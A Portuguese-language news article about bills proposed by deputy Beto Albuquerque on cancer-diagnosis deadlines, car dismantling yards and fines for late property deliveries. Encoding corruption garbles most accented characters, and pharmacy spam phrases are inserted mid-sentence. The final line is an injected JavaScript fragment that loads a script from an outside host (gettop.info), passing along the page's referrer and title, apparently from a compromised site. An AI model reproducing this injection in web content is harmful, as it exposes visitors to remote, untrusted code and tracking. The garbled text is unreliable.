Projetos encaminhados pelo deputado federal e lAi??der do PSB na CA?mara Federal,Ai??Beto Albuquerque, buscam agilidade no diagnA?stico do cA?ncer, a legalizaAi??A?o dos desmanches e a puniAi??A?o para entregas atrasadas de imA?veis
IncansA?vel na luta em prol do bem comum o deputado federal e lAi??der do PSB na CA?mara Federal,Ai??Beto Albuquerque tem seu trabalho focado em melhorar. Focado em causas como a doaAi??A?o de medula A?ssea, energias renovA?veis e desenvolvimento sustentA?vel, trA?nsito seguro, educaAi??A?o, ciA?ncia e tecnologia, alAi??m das questAi??es vinculadas aos idosos. Os A?ltimos projetos do parlamentar buscam agilidade no diagnA?stico do cA?ncer, a legalizaAi??A?o dos desmanches e a puniAi??A?o para entregas atrasadas de imA?veis.
Agilidade no diagnA?stico do cA?ncer
Para preencher uma lacuna deixada pela Lei nA? 12.732/12, que estabelece prazo para o inAi??cio do tratamento contra o cA?ncer no Sistema Asnico de SaA?de (SUS). O projeto do socialista, PL nA? 5.722/13 altera a nova legislaAi??A?o, ao definir tempo tambAi??m para a realizaAi??A?o dos exames de diagnA?stico.
Beto lembra, no entanto, que muitas vezes Ai?? preciso aguardar meses atAi?? a realizaAi??A?o de exames que confirmem a doenAi??a. ai???Fazer leis Ai?? sempre importante quando elas dialogam com as pessoas, com seus problemas, criando expectativa de superA?-los. Esse assunto do cA?ncer Ai?? grave, porque no Brasil dependendo do local, do estado, da regiA?o Ai??s vezes a pessoa demora muito tempo para ter o diagnA?stico do cA?ncer e acaba chegando tarde ao tratamento, entA?o estou determinando nessa lei que onde hA? suspeita de cA?ncer o diagnA?stico deve ser concluAi??do em no mA?ximo 30 dias. Dessa forma toda a rede hospitalar precisa ter essa responsabilidade, o diagnA?stico precoce Ai?? quase um sinA?nimo de A?xito de cura, o diagnostico tardio pode ser sinA?nimo de morte. Esse projeto dialoga com a realidade que infelizmente temos no Brasil, porque A? pessoas que esperam 6 meses, um ano para chegar ao diagnA?stico e quando comeAi??a o tratamento a doenAi??a jA? avanAi??ou demaisai???, explica.
Agilizando os exames e atendimentos no sistema de saA?de, muitas vidas poderA?o ser salvas, jA? que o tratamento do cA?ncer Ai?? eficaz desde que seja descoberto inicialmente.
Desmanches x criminalidade
Durante a discussA?o e aprovaAi??A?o em plenA?rio do PL 23/2011, que disciplina o funcionamento de empresas de desmanches de carros,Ai?? carbozyne priceBeto Albuquerque, encaminhou voto favorA?vel da bancada socialista Ai?? matAi??ria. O lAi??der destacou que o projeto, que agora segue para o Senado, significa um passo fundamental para o enfrentamento deste problema grave do PaAi??s.
Beto lembrou que hoje carros sA?o roubados, desmanchados e tA?m peAi??as vendidas sem controle algum e muito menos fiscalizaAi??A?o. ai???Essa Ai?? uma atividade que existe no paAi??s, mas Ai?? preciso ter controle, trazer ela para o mercado legal, organizado, para que nA?o seja o mercado de peAi??as usadas por um caminho que Ai?? o do crime, do roubo de veAi??culos que acabam sendo desmanchados sem controle e registro. EntA?o esse Ai?? um tempo que tem que trazer a luz da lei, criar um mercado legal para essas peAi??as, dar um ano para que o mercado se organize, para que o DETRAN o Contran se organize e crie um cadastrado das empresa da A?rea e um cadastro de peAi??a que possam ser comercializada. Essas sA?o matAi??rias que avanAi??am no sentindo de melhor a qualidade de vida das pessoasai???, afirma.
Multa a incorporadoras que atrasam entrega de imA?veis
Tramita na CA?mara dos Deputados o Projeto de Lei 5.672/2013, de autoria do deputado que prevA? a regulamentaAi??A?o de questAi??es importantes relativas a condomAi??nios em edificaAi??Ai??es e Ai??s incorporaAi??Ai??es imobiliA?rias. O texto busca uma soluAi??A?o para o histA?rico problema dos atrasos na entrega de imA?veis em razA?o de quebra de prazos previstos das construAi??Ai??es.
O PL 5.672 acrescenta parA?grafos ao artigo 43 da Lei 4.591, de 16 de dezembro de 1964, estabelecendo a aplicaAi??A?o de multa moratA?ria em caso de atraso na entrega de unidade imobiliA?ria autA?noma pelo incorporador ao proprietA?rio, promitente comprador, cessionA?rio ou promitente cessionA?rio dos direitos aquisitivos sobre tal imA?vel. ai???Tem muita incorporadora construtora de imA?veis de prAi??dios, que naquelas linhas bem miA?das no contrato, que muitas pessoas nA?o conseguem ler, diz que elas nA?o assumem um compromisso de responsabilidade caso aja atraso na conclusA?o da obra. O cidadA?o tem toda uma expectativa para entrar no seu apartamento, quando vA? a entrega atrasa trA?s meses, um ano e nada acontece Ai?? incorporadora. Estou estabelecendo atravAi??s da lei uma multa imediata ao atraso, isto pode compensar a irresponsabilidade e ao mesmo tempo dar m ais seguranAi??a para quem comprou. Pois se ele nA?o receber o imA?vel pode ser indenizadoai???, relata.
O autor do projeto, que protocolou a proposiAi??A?o no final de maio deste ano, estA? certo de que a medida poderA? corrigir abusos histA?ricos cometidos contra quem busca adquirir imA?veis em nosso PaAi??s. De acordo com o texto, a multa Ai?? de cinco milAi??simos do montante contratado, atualizado monetariamente por cada mA?s ou fraAi??A?o de atraso no cumprimento da obrigaAi??A?o de entrega do imA?vel pelo incorporador. pills onlinePillsdelivery bonnispaz s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
